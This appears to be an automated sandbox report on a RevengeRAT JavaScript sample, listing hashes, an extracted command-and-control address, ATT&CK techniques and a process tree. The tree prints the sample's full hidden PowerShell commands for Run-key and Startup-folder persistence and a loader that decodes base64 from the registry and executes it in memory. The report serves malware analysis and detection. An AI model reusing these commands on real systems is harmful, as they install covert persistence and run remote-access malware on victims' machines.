revengerat | d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

Analysis

max time kernel
128s
max time network
144s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15/10/2024, 19:52

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General

Target
213124dadoscancelarareserva.js
Size 60KB
Sample241015-ylpq4steme
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
MD5 5508be73f4288131312fe9dcbe64322c
SHA1 f579ae533109afddd4d9e528c7c393035cd80e7a
SHA512 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f
SSDEEP 768:qze48RhtXFS/81q/y1wGU8a1aIIEHU8aIIFTTV+i2jsm888esI8X88888gKV7+lA:qC48xhtaGcdIh8aIIxgFv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

54.146.241.16:5222

Mutex

f9796de67e

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	2952	powershell.exe
3	2952	powershell.exe
4	2952	powershell.exe
5	2952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe
2952	powershell.exe
2100	powershell.exe
2744	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213124dadoscancelarareserva.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213124dadoscancelarareserva.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2100	powershell.exe
2744	powershell.exe
2660	powershell.exe
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 2100	1832	wscript.exe	30
PID 1832 wrote to memory of 2100	1832	wscript.exe	30
PID 1832 wrote to memory of 2100	1832	wscript.exe	30
PID 2100 wrote to memory of 2876	2100	powershell.exe	32
PID 2100 wrote to memory of 2876	2100	powershell.exe	32
PID 2100 wrote to memory of 2876	2100	powershell.exe	32
PID 2876 wrote to memory of 2744	2876	wscript.exe	33
PID 2876 wrote to memory of 2744	2876	wscript.exe	33
PID 2876 wrote to memory of 2744	2876	wscript.exe	33
PID 2876 wrote to memory of 2660	2876	wscript.exe	35
PID 2876 wrote to memory of 2660	2876	wscript.exe	35
PID 2876 wrote to memory of 2660	2876	wscript.exe	35
PID 2876 wrote to memory of 2952	2876	wscript.exe	37
PID 2876 wrote to memory of 2952	2876	wscript.exe	37
PID 2876 wrote to memory of 2952	2876	wscript.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

213124dadoscancelarareserva.js

Path C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js
Size 60KB
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
MD5 5508be73f4288131312fe9dcbe64322c
SHA1 f579ae533109afddd4d9e528c7c393035cd80e7a
SHA512 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f
SSDEEP 768:qze48RhtXFS/81q/y1wGU8a1aIIEHU8aIIFTTV+i2jsm888esI8X88888gKV7+lA:qC48xhtaGcdIh8aIIxgFv
MD5 SHA1 SHA512 SSDEEP

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VL8SKY0WUKK9HJ215FKQ.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VL8SKY0WUKK9HJ215FKQ.temp
Size 7KB
SHA256 d3f03cf801912abb53c2d36032ad22e62281f5cb049d68614000b1febb035b63
MD5 96dc5b3c63a31d1b8a46d6d7cd2f41d2
SHA1 ea5646904c7a0d3c6d6abdd28a9edcad47880fbe
SHA512 4b88230155e83d2e08e1758a3b7ed552496d370107a061a35470624f1b26d0349cbdc5cf2bc19893079f029d5f7292c90c1eda6ba0659859d0ad18b9530828c7
SSDEEP 96:4ZCCpLM8hnqvsqvJCwotZCCpLM8hnqvsEHyqvJCworzmfeQHAL7dAXlUVo:QHLtUoLHLtAHnorz/5L7dAr
MD5 SHA1 SHA512 SSDEEP

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memory/2100-6-0x00000000020C0000-0x00000000020C8000-memory.dmp

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memory/2100-4-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

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memory/2100-8-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

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memory/2100-9-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

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memory/2100-10-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

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memory/2100-12-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

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memory/2100-7-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

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memory/2100-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

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memory/2100-31-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

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memory/2100-32-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

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memory/2952-29-0x0000000002C70000-0x0000000002C7A000-memory.dmp

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